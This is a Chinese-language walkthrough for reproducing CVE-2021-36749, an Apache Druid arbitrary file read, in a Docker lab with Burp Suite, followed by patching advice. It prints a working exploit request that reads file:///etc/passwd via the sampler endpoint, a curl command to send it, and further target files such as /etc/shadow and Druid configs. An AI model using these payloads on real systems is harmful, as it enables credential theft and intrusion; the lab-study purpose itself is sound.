别再只盯着CVE-2021-36749了,手把手教你用Docker+Burp复现Apache Druid任意文件读取漏洞
从零构建Apache Druid漏洞实验环境:实战任意文件读取漏洞复现
在安全研究领域,漏洞复现不仅是验证理论知识的必经之路,更是深入理解系统脆弱性的关键方法。Apache Druid作为一款高性能的实时分析数据库,其CVE-2021-36749漏洞因简单直接的利用方式成为安全测试的经典案例。本文将带你从零开始,使用Docker搭建隔离的漏洞环境,配合Burp Suite进行流量分析,最终实现漏洞的完整复现。
1. 实验环境搭建与准备
1.1 Docker环境配置
首先确保你的系统已安装Docker引擎。对于Linux用户,推荐使用官方脚本一键安装:
curl -fsSL https://get.docker.com | sh sudo systemctl enable --now docker验证安装是否成功:
docker --version接下来拉取包含漏洞的Apache Druid镜像。这里我们使用社区维护的漏洞测试镜像:
docker pull vulfocus/druid-cve_2021_36749启动容器时需要注意端口映射和持久化配置:
docker run -d -p 8888:8888 --name druid_vuln vulfocus/druid-cve_2021_36749提示:如果8888端口被占用,可以通过
-p 新端口:8888参数修改映射端口
1.2 基础环境验证
容器启动后,访问http://localhost:8888应该能看到Druid的Web界面。典型的初始化过程包括:
- 检查容器日志确认服务正常启动
- 验证Web界面可访问性
- 确认基础API端点响应正常
docker logs druid_vuln curl -I http://localhost:8888/status2. Burp Suite代理配置与流量捕获
2.1 代理环境搭建
Burp Suite是安全测试中不可或缺的工具。配置步骤如下:
- 启动Burp Suite Community/Professional版
- 在Proxy → Options中确认监听端口(默认8080)
- 配置浏览器或系统全局代理指向Burp
对于命令行工具如curl,可以通过-x参数指定代理:
curl -x http://127.0.0.1:8080 http://localhost:88882.2 正常流量分析
首先捕获Druid的正常API请求,特别关注以下几个关键端点:
/druid/indexer/v1/sampler/druid/coordinator/v1/loadstatus/druid/indexer/v1/task
通过Burp的Proxy → HTTP history查看请求结构,重点关注:
- HTTP方法(通常为POST)
- 请求头(Content-Type等)
- 请求体格式(JSON结构)
典型正常请求示例:
POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["http://example.com/data.json"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }3. 漏洞原理与利用构造
3.1 漏洞成因分析
CVE-2021-36749的核心问题在于Druid的InputSource组件对用户提供的URI参数未做充分验证。攻击者可以通过构造特殊的file协议URI,诱使服务器读取任意文件。
漏洞关键点:
- 影响组件:
org.apache.druid.java.util.common.StringUtils - 危险方法:
uriToString未正确处理file协议 - 利用条件:需要能够向
/druid/indexer/v1/sampler发送POST请求
3.2 Payload构造技巧
利用漏洞读取/etc/passwd的恶意请求示例:
POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["file:///etc/passwd"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"exploit", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }关键修改点:
- 将
inputSource.type保持为http(实际利用file协议) uris数组中使用file://协议- 路径使用绝对路径(如
/etc/passwd)
3.3 响应分析与数据提取
成功利用后,服务器响应中会包含目标文件内容。典型响应结构:
{ "data": [ { "raw": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..." } ] }提取技巧:
- 使用
jq工具处理JSON响应 - 注意Base64编码的可能性
- 处理可能的分块响应
curl -s -X POST http://localhost:8888/druid/indexer/v1/sampler -H "Content-Type: application/json" -d @payload.json | jq '.data[].raw'4. 进阶利用与防护方案
4.1 漏洞利用的扩展
除了读取/etc/passwd,还可以尝试:
- 系统关键配置文件(如
/etc/shadow) - Druid自身配置文件(如
conf/druid/cluster/_common/common.runtime.properties) - 日志文件(如
logs/druid/historical.log)
Windows系统下的利用路径示例:
"uris": ["file:///C:/Windows/System32/drivers/etc/hosts"]4.2 漏洞修复方案
官方修复措施包括:
升级到安全版本:
- Druid 0.21.1及以上
- Druid 0.20.2及以上
临时缓解措施:
- 网络ACL限制访问
- 使用WAF过滤恶意请求
- 禁用不必要的API端点
版本检查命令:
docker exec druid_vuln find / -name "druid-*.jar" -exec sh -c 'unzip -p {} META-INF/MANIFEST.MF | grep "Implementation-Version"' \;4.3 实验环境清理
完成实验后,记得清理Docker资源:
docker stop druid_vuln docker rm druid_vuln docker rmi vulfocus/druid-cve_2021_36749对于Burp Suite,建议:
- 清除项目文件
- 重置代理设置
- 删除敏感请求历史
